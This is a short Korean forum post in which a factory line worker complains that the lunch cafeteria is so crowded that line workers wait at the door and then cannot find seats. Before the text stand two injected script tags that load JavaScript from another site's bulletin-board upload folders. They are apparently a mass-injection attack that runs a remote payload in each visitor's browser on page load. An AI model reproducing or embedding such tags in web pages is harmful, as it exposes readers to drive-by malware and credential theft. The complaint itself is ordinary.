<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 어제 오늘의 일이 아니지만 라인 작업자는 봉이 아닙니다
남들 같이 일찍 밥을 먹으로 갈수도 없고 땡할때까지 라인을 사수하라는
명령을 수도 없이 듣고 살고 있습니다
그런 라인 작업자들이 그래도 한숨 돌리며 쉴수 있는 시간이 점심시간이라
생각합니다
하지만 요즘 점심시간에 식당에 가보면 어떤가요
분명 시간 지켜 식당으로 향하지만 이미 식당안은 만원이라 거의 출입문까지
줄을 서있는 모습을 쉽게 볼수 있습니다
그러다 보니 밥을 타가지고 자리를 찾을 때쯤이면 벌써 다먹고 일어나는 사람들
부지기 수입니다
뭐 그래도 좋다 할수있죠
최소한 식판을 받아들고 앉을 자리 찾아 헤매는 일은 없어야 하는거 아닙니까
시간 지키라고 하지 않아도 할수 없이 시간을 지켜야 하는 라인작업자를 자리 찾아
헤매는 불쌍한 사람 좀 안돼게 해주세요
하루 종일 서서 일하는 사람들 좀 밥좀 편하게 빨리 먹게 해줄때라고 생각합니다
사람은 늘어가는데 식당은 그대로이니....